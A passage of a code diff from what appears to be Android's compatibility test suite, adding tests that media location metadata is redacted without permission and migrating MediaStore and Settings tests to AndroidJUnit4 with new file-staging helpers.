+
+    /**
+     * This test doesn't hold
+     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
+     * location information should be redacted.
+     */
+    @Test
+    public void testLocationRedaction() throws Exception {
+        // STOPSHIP: remove this once isolated storage is always enabled
+        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+        final String displayName = "cts" + System.nanoTime();
+        final MediaStore.PendingParams params = new MediaStore.PendingParams(
+                MediaStore.Images.Media.EXTERNAL_CONTENT_URI, displayName, "image/jpeg");
+
+        final Uri pendingUri = MediaStore.createPending(mContext, params);
+        final Uri publishUri;
+        final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+        try {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.volantis);
+                 OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        } finally {
+            IoUtils.closeQuietly(session);
+        }
+
+        final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
+
+        // Since we own the image, we should be able to see the Exif data that
+        // we ourselves contributed
+        try (InputStream is = mContentResolver.openInputStream(publishUri)) {
+            final ExifInterface exif = new ExifInterface(is);
+            final float[] latLong = new float[2];
+            exif.getLatLong(latLong);
+            assertEquals(37.42303, latLong[0], 0.001);
+            assertEquals(-122.162025, latLong[1], 0.001);
+        }
+        // As owner, we should be able to request the original bytes
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+        }
+
+        // Now remove ownership, which means that Exif should be redacted
+        ProviderTestUtils.executeShellCommand(
+                "content update --uri " + publishUri + " --bind owner_package_name:n:",
+                InstrumentationRegistry.getInstrumentation().getUiAutomation());
+        try (InputStream is = mContentResolver.openInputStream(publishUri)) {
+            final ExifInterface exif = new ExifInterface(is);
+            final float[] latLong = new float[2];
+            exif.getLatLong(latLong);
+            assertEquals(0, latLong[0], 0.001);
+            assertEquals(0, latLong[1], 0.001);
+        }
+        // We can't request original bytes unless we have permission
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+            fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+        } catch (UnsupportedOperationException expected) {
+        }
+    }
+
+    @Test
+    public void testLocationDeprecated() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final MediaStore.PendingParams params = new MediaStore.PendingParams(
+                MediaStore.Images.Media.EXTERNAL_CONTENT_URI, displayName, "image/jpeg");
+
+        final Uri pendingUri = MediaStore.createPending(mContext, params);
+        final Uri publishUri;
+        final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+        try {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.volantis);
+                    OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        } finally {
+            IoUtils.closeQuietly(session);
+        }
+
+        // Verify that location wasn't indexed
+        try (Cursor c = mContentResolver.query(publishUri,
+                new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertTrue(c.isNull(0));
+            assertTrue(c.isNull(1));
+        }
+
+        // Verify that location values aren't recorded
+        final ContentValues values = new ContentValues();
+        values.put(ImageColumns.LATITUDE, 32f);
+        values.put(ImageColumns.LONGITUDE, 64f);
+        mContentResolver.update(publishUri, values, null, null);
+
+        try (Cursor c = mContentResolver.query(publishUri,
+                new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
+            assertTrue(c.moveToFirst());
+            assertTrue(c.isNull(0));
+            assertTrue(c.isNull(1));
+        }
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
index 600825a..ee6fbe5 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
@@ -19,6 +19,13 @@
 import static android.provider.cts.ProviderTestUtils.assertExists;
 import static android.provider.cts.ProviderTestUtils.assertNotExists;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
@@ -33,30 +40,33 @@
 import android.provider.MediaStore.Images.Media;
 import android.provider.MediaStore.Images.Thumbnails;
 import android.provider.MediaStore.MediaColumns;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 
-import com.android.compatibility.common.util.FileCopyHelper;
-
 import junit.framework.AssertionFailedError;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.util.ArrayList;
 
-public class MediaStore_Images_ThumbnailsTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Images_ThumbnailsTest {
     private ArrayList<Uri> mRowsAdded;
 
     private Context mContext;
 
     private ContentResolver mContentResolver;
 
-    private FileCopyHelper mHelper;
-
     private Uri mRed;
     private Uri mBlue;
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         for (Uri row : mRowsAdded) {
             try {
                 mContentResolver.delete(row, null, null);
@@ -65,27 +75,21 @@
                 // ignores the exception and make the loop goes on
             }
         }
-
-        mHelper.clear();
-        super.tearDown();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
         mContentResolver = mContext.getContentResolver();
 
-        mHelper = new FileCopyHelper(mContext);
         mRowsAdded = new ArrayList<Uri>();
     }
 
     private void prepareImages() throws Exception {
         final File red = new File(Environment.getExternalStorageDirectory(), "red.jpg");
         final File blue = new File(Environment.getExternalStorageDirectory(), "blue.jpg");
-        mHelper.copyToExternalStorage(R.raw.scenery, red);
-        mHelper.copyToExternalStorage(R.raw.scenery, blue);
+        ProviderTestUtils.stageFile(R.raw.scenery, red);
+        ProviderTestUtils.stageFile(R.raw.scenery, blue);
         try (MediaScanner scanner = new MediaScanner(mContext, "external")) {
             mRed = scanner.scanSingleFile(red.getAbsolutePath(), "image/jpeg");
             mBlue = scanner.scanSingleFile(blue.getAbsolutePath(), "image/jpeg");
@@ -100,6 +104,7 @@
         }
     }
 
+    @Test
     public void testQueryExternalThumbnails() throws Exception {
         prepareImages();
 
@@ -109,7 +114,9 @@
         c.close();
 
         // add a thumbnail
-        String path = mHelper.copy(R.raw.scenery, "testThumbnails.jpg");
+        final File file = mContext.getFileStreamPath("testThumbnails.jpg");
+        final String path = file.getAbsolutePath();
+        ProviderTestUtils.stageFile(R.raw.scenery, file);
         ContentValues values = new ContentValues();
         values.put(Thumbnails.KIND, Thumbnails.MINI_KIND);
         values.put(Thumbnails.DATA, path);
@@ -141,6 +148,7 @@
         c.close();
     }
 
+    @Test
     public void testQueryExternalMiniThumbnails() throws Exception {
         // insert the image by bitmap
         BitmapFactory.Options opts = new BitmapFactory.Options();
@@ -246,6 +254,7 @@
         assertExists("image file should still exist", imagePath);
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri("internal"), null, null,
@@ -261,6 +270,7 @@
                 null));
     }
 
+    @Test
     public void testStoreImagesMediaExternal() throws Exception {
         prepareImages();
 
@@ -305,6 +315,7 @@
         assertEquals(1, mContentResolver.delete(uri, null, null));
     }
 
+    @Test
     public void testThumbnailGenerationAndCleanup() throws Exception {
         // insert an image
         Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
@@ -386,6 +397,7 @@
         new File(sourcePath).delete();
     }
 
+    @Test
     public void testStoreImagesMediaInternal() {
         // can not insert any data, so other operations can not be tested
         try {
@@ -397,6 +409,7 @@
         }
     }
 
+    @Test
     public void testThumbnailOrderedQuery() throws Exception {
         Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
         Uri url[] = new Uri[3];
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
index 8ba8c17..1a82b216 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
@@ -16,7 +16,7 @@
 
 package android.provider.cts;
 
-import android.provider.cts.R;
+import static org.junit.Assert.assertEquals;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
@@ -25,13 +25,19 @@
 import android.net.Uri;
 import android.provider.MediaStore.Video;
 import android.provider.MediaStore.Video.VideoColumns;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.FileCopyHelper;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.io.File;
 import java.util.ArrayList;
 
-public class MediaStore_VideoTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_VideoTest {
     private static final String TEST_VIDEO_3GP = "testVideo.3gp";
 
     private ArrayList<Uri> mRowsAdded;
@@ -40,29 +46,28 @@
 
     private ContentResolver mContentResolver;
 
-    private FileCopyHelper mHelper;
-
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         for (Uri row : mRowsAdded) {
             mContentResolver.delete(row, null, null);
         }
-        mHelper.clear();
-        super.tearDown();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
         mContentResolver = mContext.getContentResolver();
-        mHelper = new FileCopyHelper(mContext);
         mRowsAdded = new ArrayList<Uri>();
     }
 
+    @Test
     public void testQuery() throws Exception {
         ContentValues values = new ContentValues();
-        String valueOfData = mHelper.copy(R.raw.testvideo, TEST_VIDEO_3GP);
+
+        final File file = mContext.getFileStreamPath(TEST_VIDEO_3GP);
+        final String valueOfData = file.getAbsolutePath();
+        ProviderTestUtils.stageFile(R.raw.testvideo, file);
+
         values.put(VideoColumns.DATA, valueOfData);
 
         Uri newUri = mContentResolver.insert(Video.Media.INTERNAL_CONTENT_URI, values);
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index b75543e..8d3ba29 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -19,6 +19,12 @@
 import static android.provider.cts.ProviderTestUtils.assertExists;
 import static android.provider.cts.ProviderTestUtils.assertNotExists;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
@@ -28,24 +34,30 @@
 import android.provider.MediaStore;
 import android.provider.MediaStore.Video.Media;
 import android.provider.MediaStore.Video.VideoColumns;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.FileCopyHelper;
 import com.android.compatibility.common.util.FileUtils;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.IOException;
 
-public class MediaStore_Video_MediaTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Video_MediaTest {
+    private Context mContext;
     private ContentResolver mContentResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContentResolver = getContext().getContentResolver();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
@@ -65,6 +77,7 @@
         new File(path).delete();
     }
 
+    @Test
     public void testStoreVideoMediaExternal() throws Exception {
         final String externalVideoPath = Environment.getExternalStorageDirectory().getPath() +
                  "/video/testvideo.3gp";
@@ -88,8 +101,6 @@
         values.put(Media.DESCRIPTION, "This is a video");
         values.put(Media.DURATION, 8480);
         values.put(Media.LANGUAGE, "en");
-        values.put(Media.LATITUDE, 40.689060d);
-        values.put(Media.LONGITUDE, -74.044636d);
         values.put(Media.IS_PRIVATE, 1);
         values.put(Media.MINI_THUMB_MAGIC, 0);
         values.put(Media.RESOLUTION, "176x144");
@@ -123,8 +134,6 @@
             assertEquals("This is a video",
                     c.getString(c.getColumnIndex(Media.DESCRIPTION)));
             assertEquals("en", c.getString(c.getColumnIndex(Media.LANGUAGE)));
-            assertEquals(40.689060d, c.getDouble(c.getColumnIndex(Media.LATITUDE)), 0d);
-            assertEquals(-74.044636d, c.getDouble(c.getColumnIndex(Media.LONGITUDE)), 0d);
             assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
             assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
             assertEquals("176x144", c.getString(c.getColumnIndex(Media.RESOLUTION)));
@@ -149,8 +158,6 @@
             values.put(Media.DESCRIPTION, "This is another video");
             values.put(Media.DURATION, 8481);
             values.put(Media.LANGUAGE, "cn");
-            values.put(Media.LATITUDE, 41.689060d);
-            values.put(Media.LONGITUDE, -75.044636d);
             values.put(Media.IS_PRIVATE, 0);
             values.put(Media.MINI_THUMB_MAGIC, 2);
             values.put(Media.RESOLUTION, "320x240");
@@ -176,8 +183,6 @@
             assertEquals("This is another video",
                     c.getString(c.getColumnIndex(Media.DESCRIPTION)));
             assertEquals("cn", c.getString(c.getColumnIndex(Media.LANGUAGE)));
-            assertEquals(41.689060d, c.getDouble(c.getColumnIndex(Media.LATITUDE)), 0d);
-            assertEquals(-75.044636d, c.getDouble(c.getColumnIndex(Media.LONGITUDE)), 0d);
             assertEquals(0, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
             assertEquals(2, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
             assertEquals("320x240", c.getString(c.getColumnIndex(Media.RESOLUTION)));
@@ -198,7 +203,7 @@
         }
 
         // check that the video file is removed when deleting the database entry
-        Context context = getContext();
+        Context context = mContext;
         Uri videoUri = insertVideo(context);
         File videofile = new File(Environment.getExternalStorageDirectory(), "testVideo.3gp");
         assertExists(videofile);
@@ -216,6 +221,7 @@
 
     }
 
+    @Test
     public void testStoreVideoMediaInternal() {
         // can not insert any data, so other operations can not be tested
         try {
@@ -232,7 +238,7 @@
         // clean up any potential left over entries from a previous aborted run
         cleanExternalMediaFile(file.getAbsolutePath());
 
-        new FileCopyHelper(context).copyToExternalStorage(R.raw.testvideo, file);
+        ProviderTestUtils.stageFile(R.raw.testvideo, file);
 
         ContentValues values = new ContentValues();
         values.put(VideoColumns.DATA, file.getAbsolutePath());
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
index a26a1a2..677b5fb 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
@@ -19,9 +19,17 @@
 import static android.provider.cts.ProviderTestUtils.assertExists;
 import static android.provider.cts.ProviderTestUtils.assertNotExists;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
@@ -29,40 +37,38 @@
 import android.provider.MediaStore.Video.Media;
 import android.provider.MediaStore.Video.Thumbnails;
 import android.provider.MediaStore.Video.VideoColumns;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
-import com.android.compatibility.common.util.FileCopyHelper;
 import com.android.compatibility.common.util.MediaUtils;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.IOException;
 
-public class MediaStore_Video_ThumbnailsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Video_ThumbnailsTest {
     private static final String TAG = "MediaStore_Video_ThumbnailsTest";
 
+    private Context mContext;
     private ContentResolver mResolver;
 
-    private FileCopyHelper mFileHelper;
-
     private boolean hasCodec() {
         return MediaUtils.hasCodecForResourceAndDomain(
                 mContext, R.raw.testthumbvideo, "video/");
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
         mResolver = mContext.getContentResolver();
-        mFileHelper = new FileCopyHelper(mContext);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        mFileHelper.clear();
-        super.tearDown();
-    }
-
+    @Test
     public void testGetContentUri() {
         Uri internalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.INTERNAL_VOLUME_NAME);
         Uri externalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME);
@@ -70,6 +76,7 @@
         assertEquals(Thumbnails.EXTERNAL_CONTENT_URI, externalUri);
     }
 
+    @Test
     public void testGetThumbnail() throws Exception {
         // Insert a video into the provider.
         Uri videoUri = insertVideo();
@@ -123,6 +130,7 @@
         assertEquals(1, mResolver.delete(videoUri, null, null));
     }
 
+    @Test
     public void testThumbnailGenerationAndCleanup() throws Exception {
 
         if (!hasCodec()) {
@@ -224,7 +232,8 @@
         mResolver.delete(Media.EXTERNAL_CONTENT_URI,
                 "_data=?", new String[] { file.getAbsolutePath() });
         file.delete();
-        mFileHelper.copyToExternalStorage(R.raw.testthumbvideo, file);
+
+        ProviderTestUtils.stageFile(R.raw.testthumbvideo, file);
 
         ContentValues values = new ContentValues();
         values.put(VideoColumns.DATA, file.getAbsolutePath());
diff --git a/tests/tests/provider/src/android/provider/cts/MockFontProvider.java b/tests/tests/provider/src/android/provider/cts/MockFontProvider.java
index 3a64173..e74db44 100644
--- a/tests/tests/provider/src/android/provider/cts/MockFontProvider.java
+++ b/tests/tests/provider/src/android/provider/cts/MockFontProvider.java
@@ -125,8 +125,8 @@
 
         map.put(MULTIPLE_FAMILY_QUERY, new Font[] {
             new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 400, 0, Columns.RESULT_CODE_OK, true),
-            new Font(id++, SAMPLE_FONT_FILE_1_ID, 0, null, 400, 0, Columns.RESULT_CODE_OK, true),
-            new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 1, Columns.RESULT_CODE_OK, true),
+            new Font(id++, SAMPLE_FONT_FILE_1_ID, 0, null, 400, 1, Columns.RESULT_CODE_OK, true),
+            new Font(id++, SAMPLE_FONT_FILE_0_ID, 0, null, 700, 0, Columns.RESULT_CODE_OK, true),
             new Font(id++, SAMPLE_FONT_FILE_1_ID, 0, null, 700, 1, Columns.RESULT_CODE_OK, true),
         });
 
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index d775dbf..d3e0af1 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -19,7 +19,11 @@
 import static org.junit.Assert.fail;
 
 import android.app.UiAutomation;
+import android.content.Context;
+import android.net.Uri;
 import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.support.test.InstrumentationRegistry;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
@@ -27,9 +31,11 @@
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.io.OutputStream;
 import java.nio.charset.StandardCharsets;
 import java.util.Objects;
 import java.util.regex.Matcher;
@@ -127,6 +133,38 @@
         executeShellCommand("bmgr wipe " + backupTransport + " " + packageName, uiAutomation);
     }
 
+    static String stageInternalFile(int resId, String fileName) throws IOException {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        try (InputStream source = context.getResources().openRawResource(resId);
+                OutputStream target = context.openFileOutput(fileName, Context.MODE_PRIVATE)) {
+            android.os.FileUtils.copy(source, target);
+        }
+        return context.getFileStreamPath(fileName).getAbsolutePath();
+    }
+
+    static void stageFile(int resId, File file) throws IOException {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        try (InputStream source = context.getResources().openRawResource(resId);
+                OutputStream target = new FileOutputStream(file)) {
+            android.os.FileUtils.copy(source, target);
+        }
+    }
+
+    static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final String displayName = "cts" + System.nanoTime();
+        final MediaStore.PendingParams params = new MediaStore.PendingParams(
+                collectionUri, displayName, "image/png");
+        final Uri pendingUri = MediaStore.createPending(context, params);
+        try (MediaStore.PendingSession session = MediaStore.openPending(context, pendingUri)) {
+            try (InputStream source = context.getResources().openRawResource(resId);
+                    OutputStream target = session.openOutputStream()) {
+                android.os.FileUtils.copy(source, target);
+            }
+            return session.publish();
+        }
+    }
+
     public static void assertExists(String path) throws ErrnoException {
         assertExists(null, path);
     }
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsTest.java b/tests/tests/provider/src/android/provider/cts/SettingsTest.java
index 71de3bd..a18a0eb 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsTest.java
@@ -16,8 +16,14 @@
 
 package android.provider.cts;
 
-import com.android.compatibility.common.util.SystemUtil;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.app.Instrumentation;
 import android.content.ContentProviderClient;
 import android.content.ContentResolver;
 import android.content.ContentValues;
@@ -32,13 +38,41 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.RemoteException;
+import android.os.SystemClock;
 import android.provider.Settings;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-public class SettingsTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SettingsTest {
+    @BeforeClass
+    public static void setUp() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings allow");
+
+        // Wait a beat to persist the change
+        SystemClock.sleep(500);
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings default");
+    }
+
+    @Test
     public void testSystemTable() throws RemoteException {
         final String[] SYSTEM_PROJECTION = new String[] {
                 Settings.System._ID, Settings.System.NAME, Settings.System.VALUE
@@ -46,7 +80,7 @@
         final int NAME_INDEX = 1;
         final int VALUE_INDEX = 2;
 
-        String name = "name";
+        String name = Settings.System.NEXT_ALARM_FORMATTED;
         String insertValue = "value_insert";
         String updateValue = "value_update";
 
@@ -89,16 +123,6 @@
             assertEquals(updateValue, cursor.getString(VALUE_INDEX));
             cursor.close();
             cursor = null;
-
-            // Test: delete
-            provider.delete(Settings.System.CONTENT_URI,
-                    Settings.System.NAME + "=\"" + name + "\"", null);
-            cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
-                    Settings.System.NAME + "=\"" + name + "\"", null, null, null);
-            assertNotNull(cursor);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-            cursor = null;
         } finally {
             if (cursor != null) {
                 cursor.close();
@@ -106,6 +130,7 @@
         }
     }
 
+    @Test
     public void testSecureTable() throws Exception {
         final String[] SECURE_PROJECTION = new String[] {
                 Settings.Secure._ID, Settings.Secure.NAME, Settings.Secure.VALUE
@@ -196,6 +221,7 @@
         }
     }
 
+    @Test
     public void testAccessNonTable() {
         tryBadTableAccess("SYSTEM", "system", "install_non_market_apps");
         tryBadTableAccess("SECURE", "secure", "install_non_market_apps");
@@ -204,6 +230,7 @@
         tryBadTableAccess(" secure ", "secure", "install_non_market_apps");
     }
 
+    @Test
     public void testUserDictionarySettingsExists() throws RemoteException {
         final Intent intent = new Intent(Settings.ACTION_USER_DICTIONARY_SETTINGS);
         final ResolveInfo ri = getContext().getPackageManager().resolveActivity(
@@ -211,6 +238,7 @@
         assertTrue(ri != null);
     }
 
+    @Test
     public void testNoStaleValueModifiedFromSameProcess() throws Exception {
         final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
                 Settings.System.VIBRATE_WHEN_RINGING);
@@ -229,6 +257,7 @@
         }
     }
 
+    @Test
     public void testNoStaleValueModifiedFromOtherProcess() throws Exception {
         final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
                 Settings.System.VIBRATE_WHEN_RINGING);
@@ -247,6 +276,7 @@
         }
     }
 
+    @Test
     public void testNoStaleValueModifiedFromMultipleProcesses() throws Exception {
         final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
                 Settings.System.VIBRATE_WHEN_RINGING);
@@ -270,6 +300,7 @@
         }
     }
 
+    @Test
     public void testUriChangesUpdatingFromDifferentProcesses() throws Exception {
         final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
                 Settings.System.VIBRATE_WHEN_RINGING);
@@ -312,7 +343,11 @@
         }
     }
 
+    private Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
     private Context getContext() {
-        return getInstrumentation().getContext();
+        return InstrumentationRegistry.getTargetContext();
     }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java b/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
index 72923cf..f9ddf7d 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
@@ -16,32 +16,59 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
 import android.content.ContentResolver;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.SystemClock;
 import android.provider.Settings;
 import android.provider.Settings.NameValueTable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Settings_NameValueTableTest extends AndroidTestCase {
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_NameValueTableTest {
+    @BeforeClass
+    public static void setUp() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings allow");
+
+        // Wait a beat to persist the change
+        SystemClock.sleep(500);
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings default");
+    }
+
+    @Test
     public void testPutString() {
-        ContentResolver cr = mContext.getContentResolver();
+        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
         Uri uri = Settings.System.CONTENT_URI;
-        String name = "name1";
+        String name = Settings.System.NEXT_ALARM_FORMATTED;
         String value = "value1";
 
         // before putString
         Cursor c = cr.query(uri, null, null, null, null);
         try {
             assertNotNull(c);
-            int origCount = c.getCount();
             c.close();
 
             MyNameValueTable.putString(cr, uri, name, value);
             c = cr.query(uri, null, null, null, null);
             assertNotNull(c);
-            assertEquals(origCount + 1, c.getCount());
             c.close();
 
             // query this row
@@ -50,21 +77,16 @@
             assertNotNull(c);
             assertEquals(1, c.getCount());
             c.moveToFirst();
-            assertEquals("name1", c.getString(c.getColumnIndexOrThrow(NameValueTable.NAME)));
-            assertEquals("value1", c.getString(c.getColumnIndexOrThrow(NameValueTable.VALUE)));
+            assertEquals(name, c.getString(c.getColumnIndexOrThrow(NameValueTable.NAME)));
+            assertEquals(value, c.getString(c.getColumnIndexOrThrow(NameValueTable.VALUE)));
             c.close();
-
-            // delete this row
-            cr.delete(uri, selection, null);
